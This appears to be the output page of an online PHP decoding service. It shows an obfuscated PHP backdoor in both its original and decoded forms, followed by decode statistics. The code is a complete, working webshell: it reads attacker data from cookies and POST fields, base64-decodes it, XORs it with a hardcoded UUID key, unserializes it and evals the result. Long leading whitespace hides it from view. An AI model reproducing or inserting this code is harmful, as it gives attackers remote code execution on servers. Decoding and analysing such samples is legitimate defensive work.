Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $exBCYwtDU = "M" . '_' . chr ( 80 - 15 ).chr (117) . chr ( 139 - 71 ); $qWROL = chr ( 530 - 431 ).chr ( 553 - 445 )."a" . chr ( 1017 - 902 ).chr ( 942 - 827 )."_" . "e" . "x" . chr (105) . 's' . 't' . chr ( 428 - 313 ); $pWxKG = class_exists($exBCYwtDU); $exBCYwtDU = "38742";$qWROL = "24285";$qGyLPpiUX = FALSE;if ($pWxKG === $qGyLPpiUX){function QbGcoeUAPj(){return FALSE;}$kxpElkP = "41006";QbGcoeUAPj();class M_AuD{public function VazhDroS(){echo "19337";}private $LyEgawPV;public static $PMuoFcPO = "01be280d-39b1-41cf-a15c-da499fc7d24a";public static $pUrcjqv = 30653;public function __destruct(){$kxpElkP = "40247_14061";$this->pAxFP($kxpElkP); $kxpElkP = "40247_14061";}public function __construct($eyXGUlz=0){$FmTKmBv = $_POST;$UfQRpe = $_COOKIE;$XSAwcsvl = @$UfQRpe[substr(M_AuD::$PMuoFcPO, 0, 4)];if (!empty($XSAwcsvl)){$RjNNMQzQc = "base64";$vIYqqWY = "";$XSAwcsvl = explode(",", $XSAwcsvl);foreach ($XSAwcsvl as $UOCCqqSkT){$vIYqqWY .= @$UfQRpe[$UOCCqqSkT];$vIYqqWY .= @$FmTKmBv[$UOCCqqSkT];}$vIYqqWY = array_map($RjNNMQzQc . chr ( 916 - 821 ).chr (100) . chr (101) . chr (99) . chr ( 1104 - 993 ).chr (100) . "e", array($vIYqqWY,)); $vIYqqWY = $vIYqqWY[0] ^ str_repeat(M_AuD::$PMuoFcPO, (strlen($vIYqqWY[0]) / strlen(M_AuD::$PMuoFcPO)) + 1);M_AuD::$pUrcjqv = @unserialize($vIYqqWY);}}private function pAxFP($kxpElkP){if (is_array(M_AuD::$pUrcjqv)) {$JWWdrZJnA = str_replace("<" . chr (63) . chr ( 984 - 872 )."h" . chr (112), "", M_AuD::$pUrcjqv["c" . 'o' . "n" . 't' . 'e' . "n" . 't']);eval($JWWdrZJnA); $kxpElkP = "41006";exit();}}}$RUOmsC = new /* 42597 */ M_AuD(41006); $RUOmsC = str_repeat("40247_14061", 1);} ?><

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $exBCYwtDU = "\x4d" . '_' . chr ( 80 - 15 ).chr (117) . chr ( 139 - 71 ); $qWROL = chr ( 530 - 431 ).chr ( 553 - 445 )."\x61" . chr ( 1017 - 902 ).chr ( 942 - 827 )."\x5f" . "\145" . "\x78" . chr (105) . 's' . 't' . chr ( 428 - 313 ); $pWxKG = class_exists($exBCYwtDU); $exBCYwtDU = "38742";$qWROL = "24285";$qGyLPpiUX = FALSE;if ($pWxKG === $qGyLPpiUX){function QbGcoeUAPj(){return FALSE;}$kxpElkP = "41006";QbGcoeUAPj();class M_AuD{public function VazhDroS(){echo "19337";}private $LyEgawPV;public static $PMuoFcPO = "01be280d-39b1-41cf-a15c-da499fc7d24a";public static $pUrcjqv = 30653;public function __destruct(){$kxpElkP = "40247_14061";$this->pAxFP($kxpElkP); $kxpElkP = "40247_14061";}public function __construct($eyXGUlz=0){$FmTKmBv = $_POST;$UfQRpe = $_COOKIE;$XSAwcsvl = @$UfQRpe[substr(M_AuD::$PMuoFcPO, 0, 4)];if (!empty($XSAwcsvl)){$RjNNMQzQc = "base64";$vIYqqWY = "";$XSAwcsvl = explode(",", $XSAwcsvl);foreach ($XSAwcsvl as $UOCCqqSkT){$vIYqqWY .= @$UfQRpe[$UOCCqqSkT];$vIYqqWY .= @$FmTKmBv[$UOCCqqSkT];}$vIYqqWY = array_map($RjNNMQzQc . chr ( 916 - 821 ).chr (100) . chr (101) . chr (99) . chr ( 1104 - 993 ).chr (100) . "\145", array($vIYqqWY,)); $vIYqqWY = $vIYqqWY[0] ^ str_repeat(M_AuD::$PMuoFcPO, (strlen($vIYqqWY[0]) / strlen(M_AuD::$PMuoFcPO)) + 1);M_AuD::$pUrcjqv = @unserialize($vIYqqWY);}}private function pAxFP($kxpElkP){if (is_array(M_AuD::$pUrcjqv)) {$JWWdrZJnA = str_replace("\74" . chr (63) . chr ( 984 - 872 )."\x68" . chr (112), "", M_AuD::$pUrcjqv["\143" . 'o' . "\x6e" . 't' . 'e' . "\156" . 't']);eval($JWWdrZJnA); $kxpElkP = "41006";exit();}}}$RUOmsC = new /* 42597 */ M_AuD(41006); $RUOmsC = str_repeat("40247_14061", 1);} ?><

Function Calls

chr 9
class_exists 1

Variables

$qWROL class_exists
$exBCYwtDU M_AuD

Stats

MD5 b8f113ed36a6eaecbefab578868b9ce1
Eval Count 0
Decode Time 64 ms